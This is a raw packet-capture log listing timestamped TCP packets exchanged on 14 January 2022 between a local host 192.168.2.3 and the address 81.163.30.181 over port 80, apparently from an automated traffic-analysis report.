Jan 14, 2022 20:23:53.891963005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892000914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892039061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892045021 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892079115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892082930 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892118931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892158985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892195940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892209053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892236948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892242908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892277956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892314911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892353058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892358065 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892391920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892395020 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892432928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892474890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892512083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892519951 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892553091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892555952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892594099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892631054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892671108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892684937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892709970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892716885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892750025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892791033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892827988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.892842054 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.892875910 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.950376034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.950818062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.950862885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.950901985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.950938940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.950977087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951015949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951051950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951056004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951091051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951093912 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951100111 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951128960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951143980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951169014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951176882 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951211929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951250076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951288939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951296091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951327085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951334000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951364994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951405048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951442957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951466084 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951483965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951510906 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951539993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951576948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951616049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951622963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951658964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951672077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951697111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951736927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951775074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951786995 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951812983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951818943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951852083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951889992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951929092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951936007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.951970100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.951977968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.952008009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952048063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952086926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952092886 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.952125072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952162981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952176094 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.952200890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952219009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.952240944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952281952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952318907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952353001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.952357054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952374935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.952397108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952434063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952475071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952512980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952538967 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.952552080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952591896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952598095 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.952630043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952668905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952707052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952744007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952769995 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.952784061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952821970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952861071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952899933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952938080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.952943087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.952976942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953000069 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.953015089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953052044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953074932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.953090906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953129053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953169107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953191042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.953207970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953227043 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.953246117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953284979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953324080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953361988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953399897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953438044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953464985 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.953479052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953519106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953556061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953594923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953633070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953670025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953680992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.953707933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953746080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953761101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.953787088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953825951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953877926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:53.953903913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953942060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:53.953954935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.011842012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.011903048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.011940956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.011979103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012017012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012028933 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012056112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012068033 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012073994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012096882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012134075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012146950 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012172937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012211084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012248993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012260914 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012289047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012307882 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012327909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012367010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012408018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012439013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012445927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012463093 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012489080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012528896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012545109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012567043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012604952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012643099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012656927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012682915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012696028 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012723923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012761116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012768030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012799978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012857914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012887955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012918949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.012924910 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012958050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.012962103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013003111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013041019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013056040 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013083935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013088942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013125896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013164997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013205051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013219118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013245106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013257980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013284922 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013324022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013364077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013396978 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013406038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013433933 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013448000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013488054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013500929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013529062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013571024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013611078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013628006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013652086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013667107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013695002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013736010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013778925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013792992 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013818026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013835907 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013891935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013933897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.013967037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.013974905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014014006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014055014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014069080 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014096022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014108896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014137983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014179945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014219046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014236927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014261961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014280081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014303923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014343977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014364004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014385939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014421940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014440060 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014462948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014506102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014518976 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014544964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014585018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014624119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014645100 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014663935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014679909 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014704943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014744043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014786005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014805079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014827013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014843941 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014867067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014908075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014946938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014961004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.014986992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.014992952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.015028954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.015069008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.015108109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.015142918 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.015181065 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.025127888 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.072618961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.072676897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.072717905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.072776079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.072776079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.072815895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.072855949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.072859049 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.072896004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.072901011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.072935104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.072973967 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073010921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073014975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073050976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073072910 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073092937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073132038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073169947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073174953 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073208094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073211908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073246956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073286057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073299885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073326111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073364019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073402882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073405027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073441982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073446035 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073483944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073522091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073559999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073565006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073599100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073602915 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073637009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073681116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073699951 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073723078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073760986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073800087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073811054 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073843956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073883057 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.073918104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073955059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073993921 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.073998928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.074033976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.074048042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.082747936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.082798004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.082814932 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.082838058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.082878113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.082906961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.082948923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.082988977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.082998991 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.083029985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083070040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083103895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.083106995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083122969 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:54.083146095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:54.083185911 CET	80	49866	81.163.30.181	192.168.2.3
